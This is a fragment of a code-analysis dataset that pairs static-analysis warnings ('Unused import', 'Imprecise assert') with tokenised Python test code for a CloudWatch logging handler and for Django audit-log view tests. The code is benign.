"header": "['class', 'TestPyCWL', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']",
"index": 44
},
{
"content": " def test_multiple_handlers(self):\n # FIXME: multiple active CloudWatchLogHandlers cause daemon thread crashes at exit. This can probably be fixed with thread locals.\n pass",
"metadata": "root.TestPyCWL.test_multiple_handlers",
"header": "['class', 'TestPyCWL', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']",
"index": 51
}
]
| [
{
"span": "import os, sys, unittest, collections, copy, re",
"start_line": 5,
"start_column": 0,
"end_line": 5,
"end_column": 47
}
]
| []
| 1 | false | [
"[CLS]_",
"Un",
"used_",
"import_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"#!",
"/",
"usr",
"/",
"bin",
"/",
"env",
" ",
"python",
"3_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"codi",
"ng",
":",
" ",
"utf",
"-",
"8_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"from_",
"\\u\\u",
"future\\u\\u_",
"import_",
"abs",
"olute",
"\\u",
"import_",
",_",
"division_",
",_",
"print",
"\\u",
"function_",
",_",
"unicode",
"\\u",
"literals_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"import_",
"os_",
",_",
"sys_",
",_",
"unittest_",
",_",
"collections_",
",_",
"copy_",
",_",
"re_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"print_",
"(_",
"sys_",
"._",
"version_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"sys_",
"._",
"path_",
"._",
"insert_",
"(_",
"0_",
",_",
"os_",
"._",
"path_",
"._",
"abspath_",
"(_",
"os_",
"._",
"path_",
"._",
"join_",
"(_",
"os_",
"._",
"path_",
"._",
"dirname_",
"(_",
"\\u\\u",
"file\\u\\u_",
")_",
",_",
"'..'_",
")_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"watch",
"tower",
"_",
"import_",
"*_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"eight_",
"import_",
"*_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"\\u\\u",
"name\\u\\u_",
"==_",
"\"\\u\\u",
"main",
"\\u\\u\"_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"unittest_",
"._",
"main_",
"(_",
")_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"class_",
"Test",
"Py",
"CW",
"L_",
"(_",
"unittest_",
"._",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"[SEP]_",
"class_",
"Test",
"Py",
"CW",
"L_",
"(_",
"unittest_",
"._",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"def_",
"set",
"Up_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"pass_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Test",
"Py",
"CW",
"L_",
"(_",
"unittest_",
"._",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"test\\u",
"basic",
"\\u",
"pyc",
"wl",
"\\u",
"statements_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"h_",
"=_",
"Cloud",
"Watch",
"Log",
"Handler_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"loggers_",
"=_",
"[_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"for_",
"i_",
"in_",
"range_",
"(_",
"5_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"logger_",
"=_",
"logging_",
"._",
"get",
"Logger_",
"(_",
"\"",
"logg",
"er",
"{}\"_",
"._",
"format_",
"(_",
"i_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"logger_",
"._",
"add",
"Handler_",
"(_",
"h_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
"logg",
"er",
".",
"add",
"Handle",
"r",
"(",
"Cloud",
"Watch",
"Log",
"Handle",
"r",
"(",
"use",
"\\u",
"queue",
"s",
"=",
"Fal",
"se",
"))",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"loggers_",
"._",
"append_",
"(_",
"logger_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"for_",
"i_",
"in_",
"range_",
"(_",
"10001",
"_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"for_",
"logger_",
"in_",
"loggers_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"logger_",
"._",
"error_",
"(_",
"\"",
"test",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"import_",
"time_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"time_",
"._",
"sleep_",
"(_",
"1_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"for_",
"i_",
"in_",
"range_",
"(_",
"9000",
"_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"for_",
"logger_",
"in_",
"loggers_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"logger_",
"._",
"error_",
"(_",
"\"",
"test",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"for_",
"i_",
"in_",
"range_",
"(_",
"1001_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"for_",
"logger_",
"in_",
"loggers_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"logger_",
"._",
"error_",
"(_",
"\"",
"test",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Test",
"Py",
"CW",
"L_",
"(_",
"unittest_",
"._",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"test\\u",
"flush",
"\\u",
"saf",
"ing_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"handler_",
"=_",
"Cloud",
"Watch",
"Log",
"Handler_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"logger_",
"=_",
"logging_",
"._",
"get",
"Logger_",
"(_",
"\"",
"l",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"logger_",
"._",
"add",
"Handler_",
"(_",
"handler_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"handler_",
"._",
"flush_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"logger_",
"._",
"critical_",
"(_",
"\"",
"msg",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Test",
"Py",
"CW",
"L_",
"(_",
"unittest_",
"._",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"test\\u",
"json",
"\\u",
"logging_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"handler_",
"=_",
"Cloud",
"Watch",
"Log",
"Handler_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"logger_",
"=_",
"logging_",
"._",
"get",
"Logger_",
"(_",
"\"",
"json",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"logger_",
"._",
"add",
"Handler_",
"(_",
"handler_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"for_",
"i_",
"in_",
"range_",
"(_",
"10_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"logger_",
"._",
"critical_",
"(_",
"dict_",
"(_",
"src_",
"=_",
"\"",
"foo",
"\"_",
",_",
"event_",
"=_",
"str_",
"(_",
"i_",
")_",
",_",
"stack_",
"=_",
"[_",
"1_",
",_",
"2_",
",_",
"3_",
",_",
"i_",
"]_",
",_",
"details_",
"=_",
"{_",
"}_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Test",
"Py",
"CW",
"L_",
"(_",
"unittest_",
"._",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"test\\u",
"multiple",
"\\u",
"handlers_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"FIX",
"ME",
":",
" ",
"multiple",
" ",
"active",
" ",
"Cloud",
"Watch",
"Log",
"Handle",
"rs",
" ",
"caus",
"e",
" ",
"daemon",
" ",
"thread",
" ",
"crashes",
" ",
"at",
" ",
"exit",
".",
" ",
"Thi",
"s",
" ",
"can",
" ",
"probab",
"ly",
" ",
"be",
" ",
"fixed",
" ",
"with",
" ",
"thread",
" ",
"locals",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"pass_",
"\\u\\u\\uNEWLINE\\u\\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ed/tests/test_views.py | [
{
"content": " def test_update_building_audit_log(self):\n \"\"\"tests that a building update logs an audit_log\"\"\"\n # arrange\n building = self.parent_1.to_dict()\n building['gross_floor_area'] = 112233445566\n\n # act\n self.client.put(\n reverse_lazy(\"seed:update_building\"),\n data=json.dumps({\n 'organization_id': self.org.pk,\n 'building': building,\n }),\n content_type='application/json'\n )\n\n # assert\n self.assertEqual(AuditLog.objects.count(), 1)\n audit_log = AuditLog.objects.first()\n self.assertEqual(\n audit_log.content_object,\n self.parent_1.canonical_building\n )\n self.assertTrue('update_building' in audit_log.action)\n self.assertEqual(audit_log.audit_type, LOG)",
"metadata": "root.BuildingDetailViewTests.test_update_building_audit_log",
"header": "['class', 'BuildingDetailViewTests', '(', 'TestCase', ')', ':', '___EOS___']",
"index": 1026
},
{
"content": " def test_save_match_audit_log(self):\n \"\"\"tests that a building match logs an audit_log\"\"\"\n # act\n self.client.put(\n reverse_lazy(\"seed:save_match\"),\n data=json.dumps({\n 'organization_id': self.org.pk,\n 'source_building_id': self.parent_1.pk,\n 'target_building_id': self.parent_2.pk,\n 'create_match': True\n }),\n content_type='application/json'\n )\n\n # assert\n self.assertEqual(AuditLog.objects.count(), 1)\n audit_log = AuditLog.objects.first()\n self.assertEqual(\n audit_log.content_object,\n self.parent_1.canonical_building\n )\n self.assertTrue('save_match' in audit_log.action)\n self.assertEqual(audit_log.action_note, 'Matched building.')\n self.assertEqual(audit_log.audit_type, LOG)",
"metadata": "root.BuildingDetailViewTests.test_save_match_audit_log",
"header": "['class', 'BuildingDetailViewTests', '(', 'TestCase', ')', ':', '___EOS___']",
"index": 1052
},
{
"content": " def test_save_unmatch_audit_log(self):\n \"\"\"tests that a building unmatch logs an audit_log\"\"\"\n # arrange match to unmatch\n resp = self.client.post(\n reverse_lazy(\"seed:save_match\"),\n data=json.dumps({\n 'organization_id': self.org.pk,\n 'source_building_id': self.parent_1.pk,\n 'target_building_id': self.parent_2.pk,\n 'create_match': True\n }),\n content_type='application/json'\n )\n body = json.loads(resp.content)\n # act\n self.client.post(\n reverse_lazy(\"seed:save_match\"),\n data=json.dumps({\n 'organization_id': self.org.pk,\n 'source_building_id': self.parent_2.pk,\n 'create_match': False\n }),\n content_type='application/json'\n )\n\n # assert\n self.assertEqual(AuditLog.objects.count(), 2)\n audit_log = AuditLog.objects.first()\n self.assertEqual(\n audit_log.content_object,\n self.parent_2.canonical_building\n )\n self.assertTrue('save_match' in audit_log.action)\n self.assertEqual(audit_log.action_note, 'Unmatched building.')\n self.assertEqual(audit_log.audit_type, LOG)",
"metadata": "root.BuildingDetailViewTests.test_save_unmatch_audit_log",
"header": "['class', 'BuildingDetailViewTests', '(', 'TestCase', ')', ':', '___EOS___']",
"index": 1215
}
]
| [
{
"span": "self.assertTrue('update_building' in audit_log.action)",
"start_line": 1049,
"start_column": 8,
"end_line": 1049,
"end_column": 62
},
{
"span": "self.assertTrue('save_match' in audit_log.action)",
"start_line": 1073,
"start_column": 8,
"end_line": 1073,
"end_column": 57
},
{
"span": "self.assertTrue('save_match' in audit_log.action)",
"start_line": 1247,
"start_column": 8,
"end_line": 1247,
"end_column": 57
}
]
| []
| 1 | true | [
"[CLS]_",
"Imp",
"reci",
"se_",
"assert_",
"[SEP]_",
"class_",
"Building",
"Det",
"ail",
"View",
"Tests_",
"(_",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"test\\u",
"update",
"\\u",
"buildi",
"ng",
"\\u",
"audit",
"\\u",
"log_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"tests",
" ",
"tha",
"t",
" ",
"a",
" ",
"buildi",
"ng",
" ",
"update",
" ",
"logs",
" ",
"an",
" ",
"audit",
"\\u",
"log",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"arrange",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"building_",
"=_",
"self_",
"._",
"parent",
"\\u",
"1_",
"._",
"to",
"\\u",
"dict_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"building_",
"[_",
"'",
"gross",
"\\u",
"floor",
"\\u",
"area",
"'_",
"]_",
"=_",
"1122",
"334",
"455",
"66_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"act_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"client_",
"._",
"put_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"reverse",
"\\u",
"lazy_",
"(_",
"\"",
"seed",
":",
"update",
"\\u",
"buildi",
"ng",
"\"_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"data_",
"=_",
"json_",
"._",
"dumps_",
"(_",
"{_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"organization",
"\\u",
"id",
"'_",
":_",
"self_",
"._",
"org_",
"._",
"pk_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"buildi",
"ng",
"'_",
":_",
"building_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"}_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"content",
"\\u",
"type_",
"=_",
"'",
"applica",
"tion",
"/",
"json",
"'_",
"\\u\\u\\uNL\\u\\u\\u_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"assert_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"assert",
"Equal_",
"(_",
"Audi",
"t",
"Log_",
"._",
"objects_",
"._",
"count_",
"(_",
")_",
",_",
"1_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"audit",
"\\u",
"log_",
"=_",
"Audi",
"t",
"Log_",
"._",
"objects_",
"._",
"first_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"Equal_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"audit",
"\\u",
"log_",
"._",
"content",
"\\u",
"object_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"parent",
"\\u",
"1_",
"._",
"canonical",
"\\u",
"building_",
"\\u\\u\\uNL\\u\\u\\u_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"True_",
"(_",
"'",
"update",
"\\u",
"buildi",
"ng",
"'_",
"in_",
"audit",
"\\u",
"log_",
"._",
"action_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"Equal_",
"(_",
"audit",
"\\u",
"log_",
"._",
"audit",
"\\u",
"type_",
",_",
"LOG_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Building",
"Det",
"ail",
"View",
"Tests_",
"(_",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"test\\u",
"save",
"\\u",
"match",
"\\u",
"audit",
"\\u",
"log_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"tests",
" ",
"tha",
"t",
" ",
"a",
" ",
"buildi",
"ng",
" ",
"match",
" ",
"logs",
" ",
"an",
" ",
"audit",
"\\u",
"log",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"act_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"client_",
"._",
"put_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"reverse",
"\\u",
"lazy_",
"(_",
"\"",
"seed",
":",
"save",
"\\u",
"match",
"\"_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"data_",
"=_",
"json_",
"._",
"dumps_",
"(_",
"{_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"organization",
"\\u",
"id",
"'_",
":_",
"self_",
"._",
"org_",
"._",
"pk_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"source",
"\\u",
"buildi",
"ng",
"\\u",
"id",
"'_",
":_",
"self_",
"._",
"parent",
"\\u",
"1_",
"._",
"pk_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"target",
"\\u",
"buildi",
"ng",
"\\u",
"id",
"'_",
":_",
"self_",
"._",
"parent",
"\\u",
"2_",
"._",
"pk_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"create",
"\\u",
"match",
"'_",
":_",
"True_",
"\\u\\u\\uNL\\u\\u\\u_",
"}_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"content",
"\\u",
"type_",
"=_",
"'",
"applica",
"tion",
"/",
"json",
"'_",
"\\u\\u\\uNL\\u\\u\\u_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"assert_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"assert",
"Equal_",
"(_",
"Audi",
"t",
"Log_",
"._",
"objects_",
"._",
"count_",
"(_",
")_",
",_",
"1_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"audit",
"\\u",
"log_",
"=_",
"Audi",
"t",
"Log_",
"._",
"objects_",
"._",
"first_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"Equal_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"audit",
"\\u",
"log_",
"._",
"content",
"\\u",
"object_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"parent",
"\\u",
"1_",
"._",
"canonical",
"\\u",
"building_",
"\\u\\u\\uNL\\u\\u\\u_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"True_",
"(_",
"'",
"save",
"\\u",
"match",
"'_",
"in_",
"audit",
"\\u",
"log_",
"._",
"action_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"Equal_",
"(_",
"audit",
"\\u",
"log_",
"._",
"action",
"\\u",
"note_",
",_",
"'",
"Matched",
" ",
"buildi",
"ng",
".'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"Equal_",
"(_",
"audit",
"\\u",
"log_",
"._",
"audit",
"\\u",
"type_",
",_",
"LOG_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Building",
"Det",
"ail",
"View",
"Tests_",
"(_",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"test\\u",
"save",
"\\u",
"unma",
"tch",
"\\u",
"audit",
"\\u",
"log_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"tests",
" ",
"tha",
"t",
" ",
"a",
" ",
"buildi",
"ng",
" ",
"unma",
"tch",
" ",
"logs",
" ",
"an",
" ",
"audit",
"\\u",
"log",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"arrange",
" ",
"match",
" ",
"to",
" ",
"unma",
"tch_",
"\\u\\u\\uNL\\u\\u\\u_",
"resp_",
"=_",
"self_",
"._",
"client_",
"._",
"post_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"reverse",
"\\u",
"lazy_",
"(_",
"\"",
"seed",
":",
"save",
"\\u",
"match",
"\"_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"data_",
"=_",
"json_",
"._",
"dumps_",
"(_",
"{_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"organization",
"\\u",
"id",
"'_",
":_",
"self_",
"._",
"org_",
"._",
"pk_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"source",
"\\u",
"buildi",
"ng",
"\\u",
"id",
"'_",
":_",
"self_",
"._",
"parent",
"\\u",
"1_",
"._",
"pk_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"target",
"\\u",
"buildi",
"ng",
"\\u",
"id",
"'_",
":_",
"self_",
"._",
"parent",
"\\u",
"2_",
"._",
"pk_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"create",
"\\u",
"match",
"'_",
":_",
"True_",
"\\u\\u\\uNL\\u\\u\\u_",
"}_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"content",
"\\u",
"type_",
"=_",
"'",
"applica",
"tion",
"/",
"json",
"'_",
"\\u\\u\\uNL\\u\\u\\u_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"body_",
"=_",
"json_",
"._",
"loads_",
"(_",
"resp_",
"._",
"content_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"act_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"client_",
"._",
"post_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"reverse",
"\\u",
"lazy_",
"(_",
"\"",
"seed",
":",
"save",
"\\u",
"match",
"\"_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"data_",
"=_",
"json_",
"._",
"dumps_",
"(_",
"{_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"organization",
"\\u",
"id",
"'_",
":_",
"self_",
"._",
"org_",
"._",
"pk_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"source",
"\\u",
"buildi",
"ng",
"\\u",
"id",
"'_",
":_",
"self_",
"._",
"parent",
"\\u",
"2_",
"._",
"pk_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"create",
"\\u",
"match",
"'_",
":_",
"False_",
"\\u\\u\\uNL\\u\\u\\u_",
"}_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"content",
"\\u",
"type_",
"=_",
"'",
"applica",
"tion",
"/",
"json",
"'_",
"\\u\\u\\uNL\\u\\u\\u_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"assert_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"assert",
"Equal_",
"(_",
"Audi",
"t",
"Log_",
"._",
"objects_",
"._",
"count_",
"(_",
")_",
",_",
"2_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"audit",
"\\u",
"log_",
"=_",
"Audi",
"t",
"Log_",
"._",
"objects_",
"._",
"first_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"Equal_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"audit",
"\\u",
"log_",
"._",
"content",
"\\u",
"object_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"parent",
"\\u",
"2_",
"._",
"canonical",
"\\u",
"building_",
"\\u\\u\\uNL\\u\\u\\u_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"True_",
"(_",
"'",
"save",
"\\u",
"match",
"'_",
"in_",
"audit",
"\\u",
"log_",
"._",
"action_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"Equal_",
"(_",
"audit",
"\\u",
"log_",
"._",
"action",
"\\u",
"note_",
",_",
"'",
"Unma",
"tche",
"d",
" ",
"buildi",
"ng",
".'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"Equal_",
"(_",
"audit",
"\\u",
"log_",
"._",
"audit",
"\\u",
"type_",
",_",
"LOG_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_"
]
| [
4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2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Variable defined multiple times | hhatto/autopep8/test/suite/E50.py | [
{
